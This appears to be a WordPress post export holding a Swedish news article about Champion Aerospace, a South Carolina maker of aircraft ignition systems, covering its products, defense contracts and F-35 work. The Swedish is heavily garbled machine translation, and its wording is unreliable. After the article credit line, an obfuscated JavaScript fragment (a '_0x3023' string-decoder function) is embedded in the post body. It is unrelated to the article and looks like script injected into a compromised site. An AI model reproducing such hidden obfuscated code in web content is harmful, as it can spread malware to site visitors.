N\u00e4r en pilot startar ett turbin- eller kolvdrivet flygplan \u00e4r chansen god t\u00e4ndsystemet eller dess komponenter gjordes p\u00e5 Champion Aerospace in Liberty. Verksamheten, med mer \u00e4n ett sekel av flyghistoria och ett varum\u00e4rke v\u00e4l k\u00e4nt f\u00f6r bildelar konsumenter, har tillverkningsverksamhet och forskning och laboratorier utveckling i en 220.000 kvadratmeter anl\u00e4ggning. Inuti den oansenliga exteri\u00f6ren, en bana l\u00f6per l\u00e4ngden p\u00e5 de viktigaste tillverkningsgolvet, och cafeteria-matsalen har en hangar design.
\nChampion Aerospace \u00e4r en del av Cleveland-baserade TransDigm Group och har 250 anst\u00e4llda vid sin ensamma fabrik. Anst\u00e4llda designar och tillverkar m\u00e4rkest\u00e4ndare, magnetiseringsm\u00e4tare och leads f\u00f6r turbinmotorer, samt t\u00e4ndstift, magnetos, oljefilter och t\u00e4ndselar f\u00f6r kolvdrivna flygplansmotorer.
\nI ett t\u00e4ndsystem f\u00f6r turbinmotorn tar excitern instr\u00f6m fr\u00e5n flygplanets elsystem, trappar upp sp\u00e4nningen och levererar en signal med h\u00f6gsp\u00e4nningsutg\u00e5ng genom t\u00e4ndningen som leder till ignitern. T\u00e4ndaren gnistor n\u00e4r dess gap \u00e4r joniserad, och f\u00e4ltet mellan centrum elektrod och t\u00e4ndare skal bryts ner. Champion-anst\u00e4llda tillhandah\u00e5ller ocks\u00e5 standard- och anpassade konfigurerade flygstr\u00f6mf\u00f6rs\u00f6rjningar.
\nF\u00f6retagets vd Jason Marlin sade t\u00e4ndsystem \u00e4r m\u00e4rkbara “n\u00e4r du \u00e4r p\u00e5 asfalten f\u00f6r att starta motorerna. … Vanligtvis \u00e4r de inte skjuter t\u00e4ndsystemet hela tiden de flyger, men det finns vissa fall n\u00e4r de skulle. S\u00e5 om det \u00e4r isigt eller d\u00e5ligt v\u00e4der de skulle sl\u00e5 p\u00e5 t\u00e4ndningen, ifall motorn flammar ut. Det skulle automatiskt starta igen. Vid landningar om det \u00e4r d\u00e5ligt v\u00e4der de skulle sl\u00e5 p\u00e5 t\u00e4ndningen.”
\nEn annan instans n\u00e4r ett t\u00e4ndsystem anv\u00e4nds \u00e4r i h\u00e4ndelse av en motor flame-out, piloter m\u00e5ste sjunka till en viss h\u00f6jd och anv\u00e4nda systemet f\u00f6r att t\u00e4nda motorerna. Marlin sa att f\u00f6retaget g\u00f6r t\u00e4ndsystem f\u00f6r hj\u00e4lpkraftenheter som kan driva ett flygplans lampor eller underh\u00e5llningssystem.
\nBeskriver Champion Aerospace som “mycket vertikalt integrerade,” Marlin sa att inkluderar att producera pulver f\u00f6r keramiska produkter.
\n“Vi g\u00f6r v\u00e5rt eget pulver. Vi avfyrar den. Vi bildar den och bearbetar den, liksom v\u00e5ra halvledare och tips p\u00e5 v\u00e5ra t\u00e4ndare, s\u00e5 vi g\u00f6r allt som vi sj\u00e4lva, s\u00e4ger han.
\nEtt f\u00f6retag uttalande visar Champion Aerospace har mer \u00e4n 300 olika t\u00e4ndare m\u00f6nster, 150 bly m\u00f6nster och mer \u00e4n 50 exciter m\u00f6nster i produktion. T\u00e4ndsystemet produkter specificeras som originalutrustning p\u00e5 motorer av f\u00f6retag som General Electric, General Electric Power & Water, Honeywell, Pratt & Whitney, Rolls-Royce, Siemens, Volvo och Westinghouse. Champion Aerospace \u00e4r ocks\u00e5 en f\u00f6redragen tier-one Ignition System Supplier till Eterline och UTC Aerospace Systems. F\u00f6retaget g\u00f6r ocks\u00e5 t\u00e4ndsystem f\u00f6r kraftindustrin som omfattar land- och marina turbiner; olje-, gas- och kolugnar, rymdtill\u00e4mpningar; oljeriggsdrift; och pumpstationer.
\nMarlin sade en tidigare \u00e4gare flyttade f\u00f6retaget fr\u00e5n Toledo, Ohio, till Upstate i slutet av 1980-talet, som han sa var fr\u00e4mst p\u00e5 grund av en strejk av United Auto Workers Union.
\n“Vi g\u00f6r en hel del tunga-k\u00e4lla delar,” sade han. “Vi \u00e4r den enda tillverkaren av B-1 bombplan och B-2 bomber t\u00e4ndare. Flygplanet kan inte g\u00e5 s\u00e5 l\u00e5ngt om man inte kan t\u00e4nda motorn. S\u00e5 m\u00e4nnen i svart typ av kom och sa, “Hej, vi kan inte ha denna risk. Du m\u00e5ste s\u00e4tta upp en separat operation f\u00f6r v\u00e5ra f\u00f6rsvarsdelar. S\u00e5 det \u00e4r vad slags startade flytten till South Carolina.”
\nMarlin sa “det faktum att vi \u00e4r lite av en icke-unionized stat och skattef\u00f6rm\u00e5nen jag tror \u00e4r det som drev dem att v\u00e4lja denna plats.” Han sa att de tidigare \u00e4garna flyttade flygindustrin till Liberty och l\u00e4mnade bildelen i Ohio. \u00c5r 2001 k\u00f6pte Transdigm f\u00f6retaget; den har mer \u00e4n 30 flygenheter globalt.
\nMarlin sade milit\u00e4ra kontrakt utg\u00f6r cirka 14% av Champion Aerospace verksamhet, ca $ 15 miljoner till $ 20 miljoner per \u00e5r. Dessa kontrakt str\u00e4cker sig fr\u00e5n inhemska till utl\u00e4ndska enheter.
\n“En del av det \u00e4r direkt med den amerikanska regeringen, men det finns andra f\u00f6rsvarsaff\u00e4rer med (originalutrustning tillverkare) och med GEs i v\u00e4rlden,” sade han.
\nDe flesta av Champion verksamhet \u00e4r i enda k\u00e4lla, egna produkter, marlin sa. F\u00f6rsvaret sidan \u00e4r lite mer konkurrenskraftiga som han sa n\u00e4ra 50% av f\u00f6rsvaret eftermarknaden verksamheten \u00e4r dubbel k\u00e4lla. General Electric \u00e4r en konkurrent eftersom GE \u00e4ger Unison. Men marlin sade att konkurrensen \u00e4r bra f\u00f6r n\u00e4ringslivet och “regeringen har gjort ett bra jobb med att tvinga denna konkurrens.”
\nP\u00e5 den kommersiella sidan, sade Marlin Champion produkter \u00e4r p\u00e5 nya flygplan, s\u00e5som Airbus A320 och Boeing 737. Han sade att f\u00f6retaget ocks\u00e5 g\u00f6r t\u00e4ndsystem f\u00f6r n\u00e4sta motor alternativ som produceras av Airbus och en ren kraftmotor fr\u00e5n Pratt & Whitney. Marlin sade att det finns “inte en hel del aff\u00e4rer direkt med Boeing,” men Champion Aerospace \u00e4r en leverant\u00f6r.
\n“V\u00e5ra t\u00e4ndsystem \u00e4r p\u00e5 de motorer som de bygger f\u00f6r (Boeing) 787s i South Carolina, s\u00e5 Rolls-Royce Track 1000 motorn har en Champion t\u00e4ndsystem p\u00e5 den,” Marlin sa. “Lejonparten av v\u00e5r verksamhet \u00e4r att motorn OEM-tillverkare som en Rolls-Royce eller Pratt & Whitney eller GE, killarna som bygger motorerna.”
\nN\u00e4r det g\u00e4ller tillv\u00e4xtm\u00f6jlighet, sade Marlin General Electric skulle kunna ge mer p\u00e5 den kommersiella sidan f\u00f6r Champion. Dock \u00e4ger GE Unison, en konkurrent till Champion, s\u00e5 Marlin sade att investera i forskning och utveckling samt teknik f\u00f6r att sl\u00e5 t\u00e4vlingen \u00e4r vad Champion str\u00e4var efter. Han sa Champion kontinuerligt arbetar p\u00e5 solid-state teknik f\u00f6r exciter del av t\u00e4ndsystemet. De fokuserar ocks\u00e5 p\u00e5 t\u00e4ndsladdar och ny t\u00e4ndteknik som plasmat\u00e4ndning.
\nDessutom \u00e4r arbetet med Pratt & Whitney F135-motorn som \u00e4r en del av Lockheed Martins F-35 Joint Strike Fighter “ramp upp” som Champion tillverkar t\u00e4ndsystemet f\u00f6r F135 huvudmotorn och efterbr\u00e4nnaren.
\n“Det \u00e4r framtidens k\u00e4mpe f\u00f6r alla de allierade styrkorna. S\u00e5 det \u00e4r en enorm ramp upp tillv\u00e4xtprogram. Du ser det i media hela tiden. Det \u00e4r \u00f6veransp.t. budgeten. Det finns en stor str\u00e5lkastare p\u00e5 det eftersom det \u00e4r s\u00e5 mycket pengar att f\u00f6rsvarsdepartementet spenderar p\u00e5 det flygplanet,” Marlin sa. “\u00c4ven om de g\u00f6r minska skattesatsen lite de kommer att g\u00f6ra en hel del av dem och det \u00e4r ett stort program, inte bara f\u00f6r Lockheed Martin.”
\nMarlin, en medlem av S.C. Aerospace Advisory Board organiserade 2015 f\u00f6r att fr\u00e4mja och v\u00e4xa industrin i staten, sade S.C. Department of Commerce och styrelsen g\u00f6r “allt vi kan f\u00f6r att f\u00e5 fler flyg-f\u00f6retag h\u00e4r nere. Det \u00e4r p\u00e5 v\u00e4g i r\u00e4tt riktning. Visst Hj\u00e4lpte Boeing det.”
\nMarlin sade att han arbetar med Clemson University, Greenville Technical College, Tri-County Technical College och lokala skolor i rekrytering av anst\u00e4llda och st\u00f6dja tillv\u00e4xten av “program som \u00e4r mer flyg riktade.”
\nGSA Business Artikel
\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};<\/p>\n","protected":false},"excerpt":{"rendered":"
N\u00e4r en pilot startar ett turbin- eller kolvdrivet flygplan \u00e4r chansen god t\u00e4ndsystemet eller dess komponenter gjordes p\u00e5 Champion Aerospace in Liberty. Verksamheten, med mer \u00e4n ett sekel av flyghistoria och ett varum\u00e4rke v\u00e4l k\u00e4nt f\u00f6r bildelar konsumenter, har tillverkningsverksamhet och forskning och laboratorier utveckling i en 220.000 kvadratmeter anl\u00e4ggning. Inuti den oansenliga exteri\u00f6ren, en…<\/p>\n","protected":false},"author":8,"featured_media":5219,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[56],"tags":[],"class_list":["post-8897","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news-sv","category-56","description-off"],"yoast_head":"\n